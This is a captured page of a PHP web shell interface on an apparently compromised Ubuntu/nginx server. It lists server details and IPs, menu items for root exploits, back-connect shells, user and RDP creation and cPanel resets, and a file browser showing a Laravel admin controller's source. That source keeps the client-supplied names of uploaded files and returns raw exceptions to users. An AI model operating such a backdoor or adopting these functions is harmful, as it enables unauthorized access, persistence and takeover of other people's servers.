Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
new_tlmf /
app /
Http /
Controllers /
admin /
[ HOME SHELL ]
Name
Size
Permission
Action
AboutusController.php
4.59
KB
-rw-rw-r--
AdminController.php
233
B
-rw-rw-r--
AlbumController.php
7.63
KB
-rw-rw-r--
CarousellController.php
4.41
KB
-rw-rw-r--
CommitteeController.php
7.94
KB
-rw-rw-r--
CommitteeTypeController.php
4.3
KB
-rw-rw-r--
ContactPersonController.php
5.13
KB
-rw-rw-r--
MasterCommitteeController.php
3.55
KB
-rw-rw-r--
MemberController.php
6.21
KB
-rw-rw-r--
MemberTypeController.php
3.14
KB
-rw-rw-r--
NewsController.php
4.41
KB
-rw-rw-r--
NoticeController.php
4.47
KB
-rw-rw-r--
SetupController.php
3.82
KB
-rw-rw-r--
VideoController.php
4
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : AboutusController.php
<?php namespace App\Http\Controllers\admin; use App\Http\Controllers\Controller; use Illuminate\Http\Request; use App\Models\Aboutus; class AboutusController extends Controller { public function index() { try{ $aboutus = aboutus::latest()->get(); return view('admin.aboutus.index',compact('aboutus')); }catch(\Exception $e){ return $e; return redirect()->back()->with('error',"Something Went Wrong"); } } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { try{ return view('admin.aboutus.create'); }catch(\Exception $e){ return view('frontend.index')->with('error',"Something Went Wrong"); } } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request) { try{ $request->validate([ 'name' => 'required' ]); $input['name'] = $request->name; $input['name_np'] = $request->name_np; $input['description'] = $request->description; $input['description_np'] = $request->description_np; $input['status'] = $request->status; $input['sort_no'] = $request->sort_no; if ($image = $request->file('image')) { $destinationPath = 'aboutus_photos/'; $profileImage = date('YmdHis') . "." . $image->getClientOriginalName(); $image->move($destinationPath, $profileImage); $input['image'] = "$profileImage"; } Aboutus::create($input); return redirect()->route('aboutuses.index')->with('success','aboutus Posted Successfully'); }catch(\Exception $e){ return $e; return redirect()->route('aboutuses.index')->with('error',"SomeThing Went Wrong"); } } /** * Display the specified resource. * * @param \App\Models\aboutus $aboutus * @return \Illuminate\Http\Response */ public function show(aboutus $aboutus) { // } /** * Show the form for editing the specified resource. * * @param \App\Models\aboutus $aboutus * @return \Illuminate\Http\Response */ public function edit(Aboutus $aboutus) { return view('admin.aboutus.edit',compact('aboutus')); } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param \App\Models\aboutus $aboutus * @return \Illuminate\Http\Response */ public function update(Request $request, Aboutus $aboutus) { try{ $request->validate([ 'name'=>'required' ]); $aboutus->name = $request->name; $aboutus->name_np = $request->name_np; $aboutus->description = $request->description; $aboutus->description_np = $request->description_np; $aboutus->status = $request->status; $aboutus->sort_no = $request->sort_no; if ($image = $request->hasFile('image')) { $path = public_path()."/aboutus_photos/".$aboutus->image; unlink($path); $destinationPath = 'aboutus_photos/'; $profileImage = date('YmdHis') . "." . $image->getClientOriginalName(); $image->move($destinationPath, $profileImage); $aboutus->image = "$profileImage"; } $aboutus->save(); return redirect()->route('aboutuses.index') ->with('success','aboutus updated successfully'); }catch(\Exception $e){ return $e; return redirect()->route('aboutuses.index')->with('error','Something Went Wrong'); } } /** * Remove the specified resource from storage. * * @param \App\Models\aboutus $aboutus * @return \Illuminate\Http\Response */ public function destroy(Aboutus $aboutus) { try{ if($aboutus->image){ $path = public_path()."/aboutus_photos/".$aboutus->image; unlink($path); } $aboutus->delete(); return back()->with('success',"SuccessFully Deleted"); }catch(\Exception $e){ // return $e; return redirect()->route('aboutuses.index')->with('error',"Something Went Wrong"); } } }
Close